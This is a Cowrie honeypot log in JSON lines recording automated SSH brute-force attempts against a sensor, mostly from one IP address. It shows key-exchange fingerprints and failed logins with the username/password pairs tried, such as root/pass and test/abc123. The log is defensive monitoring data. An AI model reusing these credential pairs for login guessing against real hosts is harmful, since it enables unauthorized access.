{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:11:59.695019Z","src_ip":"45.156.87.253","session":"e308a3313eb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48700,"dst_ip":"10.17.0.5","dst_port":22,"session":"51e3cf88980b","protocol":"ssh","message":"New connection: 45.156.87.253:48700 (10.17.0.5:22) [session: 51e3cf88980b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:01.437250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:01.448776Z","src_ip":"45.156.87.253","session":"51e3cf88980b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:01.529810Z","src_ip":"45.156.87.253","session":"51e3cf88980b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:01.781723Z","src_ip":"45.156.87.253","session":"51e3cf88980b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:02.867984Z","src_ip":"45.156.87.253","session":"51e3cf88980b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48702,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9a0bcca6bb","protocol":"ssh","message":"New connection: 45.156.87.253:48702 (10.17.0.5:22) [session: af9a0bcca6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:04.793414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:04.797453Z","src_ip":"45.156.87.253","session":"af9a0bcca6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:04.877864Z","src_ip":"45.156.87.253","session":"af9a0bcca6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.35697031021118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:05.077537Z","src_ip":"72.167.226.244","session":"bf4a04757f53","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:05.326863Z","src_ip":"45.156.87.253","session":"af9a0bcca6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:06.410589Z","src_ip":"45.156.87.253","session":"af9a0bcca6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":48706,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf19c7051304","protocol":"ssh","message":"New connection: 45.156.87.253:48706 (10.17.0.5:22) [session: bf19c7051304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:08.286490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:08.293638Z","src_ip":"45.156.87.253","session":"bf19c7051304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:08.375444Z","src_ip":"45.156.87.253","session":"bf19c7051304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:08.622227Z","src_ip":"45.156.87.253","session":"bf19c7051304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:09.816232Z","src_ip":"45.156.87.253","session":"bf19c7051304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53310,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ce135b01c70","protocol":"ssh","message":"New connection: 45.156.87.253:53310 (10.17.0.5:22) [session: 8ce135b01c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:11.634790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:11.638944Z","src_ip":"45.156.87.253","session":"8ce135b01c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:11.720109Z","src_ip":"45.156.87.253","session":"8ce135b01c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test1234","message":"login attempt [test/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:11.963739Z","src_ip":"45.156.87.253","session":"8ce135b01c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:13.048408Z","src_ip":"45.156.87.253","session":"8ce135b01c70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.821476221084595,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:14.712724Z","src_ip":"14.47.200.242","session":"795b9a83129a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53324,"dst_ip":"10.17.0.5","dst_port":22,"session":"b942a74f9892","protocol":"ssh","message":"New connection: 45.156.87.253:53324 (10.17.0.5:22) [session: b942a74f9892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:15.011693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:15.091650Z","src_ip":"45.156.87.253","session":"b942a74f9892","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:15.116171Z","src_ip":"45.156.87.253","session":"b942a74f9892","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:15.410803Z","src_ip":"45.156.87.253","session":"b942a74f9892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:16.494312Z","src_ip":"45.156.87.253","session":"b942a74f9892","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":53334,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e6c55188be2","protocol":"ssh","message":"New connection: 45.156.87.253:53334 (10.17.0.5:22) [session: 7e6c55188be2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:18.397826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:18.400473Z","src_ip":"45.156.87.253","session":"7e6c55188be2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:18.480932Z","src_ip":"45.156.87.253","session":"7e6c55188be2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pass","message":"login attempt [root/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:18.725136Z","src_ip":"45.156.87.253","session":"7e6c55188be2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:19.887473Z","src_ip":"45.156.87.253","session":"7e6c55188be2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59056,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b4ca591b97","protocol":"ssh","message":"New connection: 45.156.87.253:59056 (10.17.0.5:22) [session: 27b4ca591b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:21.722111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:21.725297Z","src_ip":"45.156.87.253","session":"27b4ca591b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:21.806086Z","src_ip":"45.156.87.253","session":"27b4ca591b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:22.051441Z","src_ip":"45.156.87.253","session":"27b4ca591b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":33530,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cb603d2428b","protocol":"ssh","message":"New connection: 192.169.244.109:33530 (10.17.0.5:22) [session: 4cb603d2428b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:22.440746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:22.444793Z","src_ip":"192.169.244.109","session":"4cb603d2428b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:22.510294Z","src_ip":"192.169.244.109","session":"4cb603d2428b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"riga_latvia","password":"riga123","message":"login attempt [riga_latvia/riga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:22.728592Z","src_ip":"192.169.244.109","session":"4cb603d2428b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:23.134445Z","src_ip":"45.156.87.253","session":"27b4ca591b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:23.795111Z","src_ip":"192.169.244.109","session":"4cb603d2428b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":59064,"dst_ip":"10.17.0.5","dst_port":22,"session":"f586a157bbf2","protocol":"ssh","message":"New connection: 45.156.87.253:59064 (10.17.0.5:22) [session: f586a157bbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:25.148934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:12:25.152740Z","src_ip":"45.156.87.253","session":"f586a157bbf2","protocol":"ssh"}
